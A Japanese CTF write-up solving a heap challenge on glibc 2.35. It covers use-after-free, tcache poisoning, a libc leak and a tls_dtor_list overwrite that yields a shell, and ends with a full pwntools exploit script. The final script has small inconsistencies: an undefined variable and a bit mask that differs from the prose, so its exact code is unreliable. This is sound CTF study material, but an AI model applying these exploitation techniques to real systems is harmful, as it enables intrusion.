pwnのHard問をようやく解けるようになってきたので、勉強がてらWriteupを書きます。
多少下手くそかもしれませんがご容赦ください。
ファイルの状態
セキュリティが全て有効、PIE、64bit。ソースあり。libc2.35。
$ file chall chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=faa7e2ee4798355d90527ada0307ea81a8270657, not stripped $ checksec --file=chall --output=csv Full RELRO,Canary found,NX enabled,PIE enabled,No RPATH,RUNPATH, Symbols,No,0,3,chall
CRUDとあるとおり、典型的なheap問のオプション。
$ ./chall 1. create 2. read 3. update 4. delete 5. exit >
脆弱性等
Write-after-free
update_memo()はメモの中身が空でもmemoのポインタが存在すれば解放されたチャンクにデータを書き込める。
→tcacheのFD/BKが改ざん可能。
void update_memo() { int idx; char *memo; idx = ask_index(); if (idx < 0 || LIST_SIZE <= idx) { puts("Invalid index"); } else if (memos[idx] == NULL) { puts("that memo is empty"); } else { memo = memos[idx]; } if (memo == NULL) { puts("something wrong"); } else { printf("content: "); read(STDIN_FILENO, memo, MEMO_SIZE); } return; }
Read-after-Free
create_memo()、delete_memo()を実行してtcacheに入れ、再度create_memo()を行うと、解放したtcacheが再利用され、read_memo()でtcacheのFDが読み取り可能になる。
tcacheカウントの書き換え
ここでの注意点としてTcacheのFDがGLIBC2.32からPROTECT_PTRマクロによって保護されるようになっている。
また、次のtcacheアドレスのアライメントが16バイトに沿っていないと怒られる。
https://sourcegraph.com/github.com/bminor/glibc@glibc-2.35/-/blob/malloc/malloc.c
#define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
次のtcacheのポインタがなければ(すなわちNULL)、単に12bit左にシフトするとheapのベースアドレスを得ることができる。
ただ、これではlibcのアドレスは出てこないので、tcacheのメタデータ(カウント数)7以上に改ざんして、次に解放したチャンクがunsortedbinに送られるようにする必要がある。
これをもとに前述のWrite-After-Freeを使ってtcacheの次のエントリをtcacheのメタデータのカウント数部分(heapベース+0x10)をポイントするようにし、0x90のサイズを7に書き換える。
tcacheのカウント、エントリがよくわからないという方は下記の記事が参考になります。
note.com
unsortedbinからのlibcリーク
0x90のtcacheのカウント数が7になったところで、更にチャンクを開放すればunsortedbinに入るが、普通に再度mallocで確保するとFD/BKが消えてしまったので、remaindering(ここでは隣接するunsortedbinチャンクを2つ作って結合させ、そこから0x90サイズを要求して切り出す)をすることでlibcのベースアドレスを得ることができた。
この作業をする前にtcacheのカウント数を再び0に戻し、unsortedbinが使われるようにする必要あり。
tls_dtor_listの改ざん
ここまでくればそれぞれのベースアドレスがわかり、任意のアドレスに任意のデータを書き込むことが可能になったので、exit_funcsのtls_dtor_listを改ざんしてsystem(/bin/sh)をやってみた。
下記がとても参考になりました。
tttang.com
hjmsan.hatenablog.com
exitの後に任意の関数を実行させるためには、tls_dtor_listに登録することになる。
その中でPTR_MANGLE(func)マクロにより保護されているため、pointer_guardの値とのXOR、RORで復元することが必要になる。
https://sourcegraph.com/github.com/bminor/glibc@glibc-2.35/-/blob/stdlib/cxa_thread_atexit_impl.c
__call_tls_dtors (void) { while (tls_dtor_list) { struct dtor_list *cur = tls_dtor_list; dtor_func func = cur->func; PTR_DEMANGLE (func); tls_dtor_list = tls_dtor_list->next; func (cur->obj); /* Ensure that the MAP dereference happens before l_tls_dtor_count decrement. That way, we protect this access from a potential DSO unload in _dl_close_worker, which happens when l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */ atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1); free (cur); } }
# define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n" \ "xor %%fs:%c2, %0" \ : "=r" (var) \ : "0" (var), \ "i" (offsetof (tcbhead_t, \ pointer_guard)))
このpointer_guardの値はtcbhead_tの構造体の0x30バイト目に存在する。
tcbhead_tはFSセグメントに保存されている。
https://sourcegraph.com/github.com/bminor/glibc@glibc-2.35/-/blob/sysdeps/x86_64/nptl/tls.h
typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; unsigned long int unused_vgetcpu_cache[2]; /* snip..... */ } tcbhead_t;
tls_dtor_list改ざんまでのアプローチ
・pointer_guardの値であるFS:0x30を任意の値にする(ここでは0にした)。
・任意の関数(system)を実行させるのに必要な計算(ROR、XOR)を行う
addr = ((system ^ 0)<<0x11)&0xffffffffffff8000 addr += ((system ^ 0)>>0x2f)&0x7fff
・tls_dtor_listにヒープのアドレスを書き込む&ヒープアドレスを下記のようにする
0x0 -> 算出したaddr 0x8 -> 0x10へのポインタ 0x10 -> /bin/sh\x00
このようにすると、プログラムをexitで終了すれば__call_tls_dtorsのcall raxでsystem(/bin/sh)が降ってきます。めでたしめでたし。
ctf4b{w1sh_y0u_w3r3_h3r3}
最終スクリプト
from pwn import * elf = context.binary = ELF("./chall") libc = ELF("./libc.so.6") gs = ''' set breakpoint pending on break __call_tls_dtors continue ''' def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) else: return process(elf.path) #io = start() io = remote('no-control.beginners.seccon.games',9005) def create(index): io.sendlineafter(b"> ",b"1") io.sendlineafter(b"index: ",str(index).encode()) def read(index): io.sendlineafter(b"> ",b"2") io.sendlineafter(b"index: ",str(index).encode()) def update(index,content): io.sendlineafter(b"> ",b"3") io.sendlineafter(b"index: ",str(index).encode()) io.sendlineafter(b"content: ",content) def delete(index): io.sendlineafter(b"> ",b"4") io.sendlineafter(b"index: ",str(index).encode()) def exit_prog(): io.sendlineafter(b"> ",b"5") create(0) delete(0) create(1) read(1) heap_base = u64(io.recv(5).ljust(8,b"\x00"))<<12 chunk_addr = heap_base+0x2a0 info(f"heap_base @ 0x{heap_base:02x}") create(4) create(2) create(3) create(0) delete(3) delete(2) delete(0) update(0,p64((chunk_addr>>12)^heap_base+0x10)) # to allocate tcache count create(3) create(2) # tcache entry update(2,p64(0) + p64(0x0007000000000000)) delete(3) delete(1) # create unsortedbin delete(4) update(2,p64(0) + p64(0x0)) # drop tcache count create(1) read(1) unsorted_leak = u64(io.recv(6).ljust(8,b"\x00")) libc.address = unsorted_leak - 0x219df0 info(f"libc_base @ 0x{libc.address:02x}") ptr_guard = libc.address - 0x2890 dtor_list = libc.address - 0x2918-0x8 #tcache alignment gadget = libc.sym.system create(3) delete(3) delete(1) update(1,p64((chunk_addr>>12)^ptr_guard)) create(3) create(1) update(1,p64(0)) # set NULL to pointer_guard # ptr_demangle(ror,xor) addr = ((gadget^pointer_guard)<<0x11)&0xffffffffffff8000 addr += ((gadget^pointer_guard)>>0x2f)&0x7ffff create(4) delete(4) delete(3) update(3,p64((chunk_addr>>12)^dtor_list)) create(4) create(3) update(3,p64(0)+p64(chunk_addr)) #register heap_addr to dtor_list payload = p64(addr) payload += p64(chunk_addr+0x10) payload += b"/bin/sh\x00" update(4,payload) exit_prog() io.interactive()
free_hookなくなるとほんとめんどくさく感じる・・・